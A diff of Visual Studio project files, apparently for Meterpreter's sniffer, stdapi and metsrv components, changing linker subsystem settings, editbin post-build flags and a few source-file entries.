<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion>5.0</MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion>
<SubSystem>Windows</SubSystem> <SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
@ -133,7 +134,7 @@
<OutputFile>$(OutDir)\ext_server_sniffer.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_sniffer.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -185,13 +186,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\ext_server_sniffer.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_sniffer.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -239,13 +241,16 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>.\Debug\ext_server_sniffer.lib</ImportLibrary> <ImportLibrary>.\Debug\ext_server_sniffer.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>.\Debug\ext_server_sniffer.bsc</OutputFile> <OutputFile>.\Debug\ext_server_sniffer.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -295,13 +300,16 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>.\Debug\ext_server_sniffer.lib</ImportLibrary> <ImportLibrary>.\Debug\ext_server_sniffer.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>.\Debug\ext_server_sniffer.bsc</OutputFile> <OutputFile>.\Debug\ext_server_sniffer.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -310,10 +318,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="..\..\source\extensions\sniffer\sniffer.c"> <ClCompile Include="..\..\source\extensions\sniffer\sniffer.c">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">Create</PrecompiledHeader> <PrecompiledHeader>Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">Create</PrecompiledHeader>
</ClCompile> </ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>

@ -191,7 +191,7 @@
<OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -251,7 +251,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -297,13 +297,16 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_stdapi.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_stdapi.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -349,13 +352,16 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\ext_server_stdapi.lib</ImportLibrary> <ImportLibrary>$(OutDir)\ext_server_stdapi.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -415,7 +421,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -475,7 +481,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -527,13 +533,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -585,13 +592,14 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile> <OutputFile>$(OutDir)\ext_server_stdapi.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -602,6 +610,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClCompile Include="..\..\source\extensions\stdapi\server\general.c" /> <ClCompile Include="..\..\source\extensions\stdapi\server\general.c" />
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\arp.c" /> <ClCompile Include="..\..\source\extensions\stdapi\server\net\config\arp.c" />
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\netstat.c" /> <ClCompile Include="..\..\source\extensions\stdapi\server\net\config\netstat.c" />
<ClCompile Include="..\..\source\extensions\stdapi\server\net\config\proxy_config.c" />
<ClCompile Include="..\..\source\extensions\stdapi\server\net\resolve.c" /> <ClCompile Include="..\..\source\extensions\stdapi\server\net\resolve.c" />
<ClCompile Include="..\..\source\extensions\stdapi\server\stdapi.c"> <ClCompile Include="..\..\source\extensions\stdapi\server\stdapi.c">
<PreCompiledHeader>Create</PreCompiledHeader> <PreCompiledHeader>Create</PreCompiledHeader>
@ -643,6 +652,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="..\..\source\extensions\stdapi\server\precomp.h" /> <ClInclude Include="..\..\source\extensions\stdapi\server\precomp.h" />
<ClInclude Include="..\..\source\extensions\stdapi\server\sys\config\config.h" />
<ClInclude Include="..\..\source\extensions\stdapi\stdapi.h" /> <ClInclude Include="..\..\source\extensions\stdapi\stdapi.h" />
<ClInclude Include="..\..\source\extensions\stdapi\server\net\net.h" /> <ClInclude Include="..\..\source\extensions\stdapi\server\net\net.h" />
<ClInclude Include="..\..\source\extensions\stdapi\server\net\socket\tcp.h" /> <ClInclude Include="..\..\source\extensions\stdapi\server\net\socket\tcp.h" />
@ -688,4 +698,4 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ImportGroup Label="ExtensionTargets"> <ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" /> <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup> </ImportGroup>
</Project> </Project>

@ -180,13 +180,17 @@
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\metsrv.lib</ImportLibrary> <ImportLibrary>$(OutDir)\metsrv.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
<AdditionalOptions>/ignore:4070 %(AdditionalOptions)</AdditionalOptions>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\metsrv.bsc</OutputFile> <OutputFile>$(OutDir)\metsrv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -235,13 +239,17 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\metsrv.lib</ImportLibrary> <ImportLibrary>$(OutDir)\metsrv.lib</ImportLibrary>
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion>
</MinimumRequiredVersion>
<AdditionalOptions>/ignore:4070 %(AdditionalOptions)</AdditionalOptions>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\metsrv.bsc</OutputFile> <OutputFile>$(OutDir)\metsrv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -291,13 +299,16 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\metsrv.lib</ImportLibrary> <ImportLibrary>$(OutDir)\metsrv.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion />
<AdditionalOptions>/ignore:4070 %(AdditionalOptions)</AdditionalOptions>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\metsrv.bsc</OutputFile> <OutputFile>$(OutDir)\metsrv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -347,13 +358,16 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</DataExecutionPrevention> </DataExecutionPrevention>
<ImportLibrary>$(OutDir)\metsrv.lib</ImportLibrary> <ImportLibrary>$(OutDir)\metsrv.lib</ImportLibrary>
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<SubSystem>Windows</SubSystem>
<MinimumRequiredVersion />
<AdditionalOptions>/ignore:4070 %(AdditionalOptions)</AdditionalOptions>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\metsrv.bsc</OutputFile> <OutputFile>$(OutDir)\metsrv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
:COPY :COPY
@ -410,14 +424,15 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Console</SubSystem> <SubSystem>Windows</SubSystem>
<AdditionalOptions>/ignore:4070 %(AdditionalOptions)</AdditionalOptions>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\metsrv.bsc</OutputFile> <OutputFile>$(OutDir)\metsrv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -474,14 +489,15 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX86</TargetMachine> <TargetMachine>MachineX86</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Console</SubSystem> <SubSystem>Windows</SubSystem>
<AdditionalOptions>/ignore:4070 %(AdditionalOptions)</AdditionalOptions>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\metsrv.bsc</OutputFile> <OutputFile>$(OutDir)\metsrv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -537,13 +553,15 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
<AdditionalOptions>/ignore:4070 %(AdditionalOptions)</AdditionalOptions>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\metsrv.bsc</OutputFile> <OutputFile>$(OutDir)\metsrv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -599,13 +617,15 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<TargetMachine>MachineX64</TargetMachine> <TargetMachine>MachineX64</TargetMachine>
<MinimumRequiredVersion> <MinimumRequiredVersion>
</MinimumRequiredVersion> </MinimumRequiredVersion>
<SubSystem>Windows</SubSystem>
<AdditionalOptions>/ignore:4070 %(AdditionalOptions)</AdditionalOptions>
</Link> </Link>
<Bscmake> <Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner> <SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>$(OutDir)\metsrv.bsc</OutputFile> <OutputFile>$(OutDir)\metsrv.bsc</OutputFile>
</Bscmake> </Bscmake>
<PostBuildEvent> <PostBuildEvent>
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)" <Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.02 "$(TargetDir)$(TargetFileName)" > NUL
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\" GOTO COPY
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\" mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\"
:COPY :COPY
@ -613,44 +633,11 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
</PostBuildEvent> </PostBuildEvent>
</ItemDefinitionGroup> </ItemDefinitionGroup>
<ItemGroup> <ItemGroup>
<ClCompile Include="..\..\source\server\win\libloader.c"> <ClCompile Include="..\..\source\server\win\libloader.c" />
<PreprocessorDefinitions Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">%(PreprocessorDefinitions)</PreprocessorDefinitions>
